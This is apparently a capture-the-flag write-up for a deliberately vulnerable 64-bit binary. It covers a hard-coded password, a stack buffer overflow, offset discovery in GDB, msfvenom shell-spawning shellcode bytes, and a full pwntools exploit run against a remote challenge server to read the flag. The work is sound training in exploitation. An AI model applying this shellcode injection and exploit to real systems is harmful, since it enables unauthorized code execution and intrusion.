Bat Computer
5 minutes to read
We are given a 64-bit binary called batcomputer
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Reverse engineering
If we use Ghidra, we will see the decompiled source code in C for the main
function:
int main() {
int res;
int option;
char password[16];
char command[76];
setup();
while(true) {
while(true) {
memset(password, 0, 16);
printf("Welcome to your BatComputer, Batman. What would you like to do?\n1. Track Joker\n2. Cha se Joker\n> ");
__isoc99_scanf("%d", &option);
if (option != 1) break;
printf("It was very hard, but Alfred managed to locate him: %p\n", command);
}
if (option != 2) break;
printf("Ok. Let\'s do this. Enter the password: ");
__isoc99_scanf("%15s", password);
res = strcmp(password, "b4tp@$$w0rd!");
if (res != 0) {
puts("The password is wrong.\nI can\'t give you access to the BatMobile!");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Access Granted. \nEnter the navigation commands: ");
read(0, command, 137);
puts("Roger that!");
}
puts("Too bad, now who\'s gonna save Gotham? Alfred?");
return 0;
}
We have two options:
- The first one outputs a memory address for the variable
command
:
$ ./batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 1
It was very hard, but Alfred managed to locate him: 0x7ffc8e4e96c4
- And the second one requires a password:
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: asdf
The password is wrong.
I can't give you access to the BatMobile!
The password is hard-coded in the binary (b4tp@$$w0rd!
):
$ ./batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: b4tp@$$w0rd!
Access Granted.
Enter the navigation commands: asdf
Roger that!
Buffer Overflow vulnerability
We can see in the code above that command
is a character array of 76 bytes, but we are allowed to enter up to 137 bytes. This leads to a Buffer Overflow vulnerability. It can also be tested dynamically:
$ ./batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: b4tp@$$w0rd!
Access Granted.
Enter the navigation commands: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Roger that!
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 3
Too bad, now who's gonna save Gotham? Alfred?
zsh: segmentation fault (core dumped) ./batcomputer
Notice that we entered a lot of junk characters and exited the while
loop using an invalid option (3
). When the program wants to return from main
, the saved return address which was on the stack now is overwritten with 0x4141414141414141
(our junk data). Since it is not a valid memory address, the program just crashes (segmentation fault).
Buffer Overflow exploitation
First of all, we would like to control the program execution. That is, we want to control the value of the saved return address. For that, we can use GDB:
$ gdb -q batcomputer
Reading symbols from batcomputer...
(No debugging symbols found in batcomputer)
gef➤ pattern create 136
[+] Generating a pattern of 136 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: b4tp@$$w0rd!
Access Granted.
Enter the navigation commands: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaa
aqaaaaaaa
Roger that!
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 3
Too bad, now who's gonna save Gotham? Alfred?
Program received signal SIGSEGV, Segmentation fault.
0x000055555555531f in ?? ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 84 (little-endian search) likely
[+] Found at offset 85 (big-endian search)
And there we obtain that the offset is 84, so we need exactly 84 bytes to reach the position of the return address that is saved on the stack.
Since NX is disabled, we can enter shellcode on the stack and run it. To do this, we can take advantage of the memory leak from the first option (the address of command
) and overwrite the return address with this address. Then, instead of junk bytes, we can enter shellcode to pop a shell.
For instance, we can use msfvenom
:
$ msfvenom -p linux/x64/exec -f py
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 21 bytes
Final size of py file: 117 bytes
buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05"
This shellcode is very short (only 21 bytes), so we will need to add some padding to reach 84 bytes (there’s no need for using nop
instructions since we know the exact address where we are storing our shellcode).
Final exploit
This is the exploit:
def main():
p = get_process()
p.sendlineafter(b'> ', b'1')
p.recvuntil(b'It was very hard, but Alfred managed to locate him: ')
command_addr = int(p.recvline().decode(), 16)
offset = 84
shellcode = b'\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05'
payload = shellcode
payload += b'A' * (offset - len(payload))
payload += p64(command_addr)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b"Ok. Let's do this. Enter the password: ", b'b4tp@$$w0rd!')
p.sendlineafter(b'Enter the navigation commands: ', payload)
p.sendlineafter(b'> ', b'3')
p.recv()
p.interactive()
If we run it locally, we have a shell:
$ python3 solve.py
[*] './batcomputer'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './batcomputer': pid 3187554
[*] Switching to interactive mode
$ ls
batcomputer solve.py
$
[*] Interrupted
[*] Stopped process './batcomputer' (pid 3187554)
Flag
Let’s try remotely:
$ python3 solve.py 178.62.79.95:30907
[*] './batcomputer'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Opening connection to 178.62.79.95 on port 30907: Done
[*] Switching to interactive mode
$ ls
batcomputer
flag.txt
$ cat flag.txt
HTB{l0v3_y0uR_sh3llf_U_s4v3d_th3_w0rld!}
The full exploit can be found in here: solve.py
.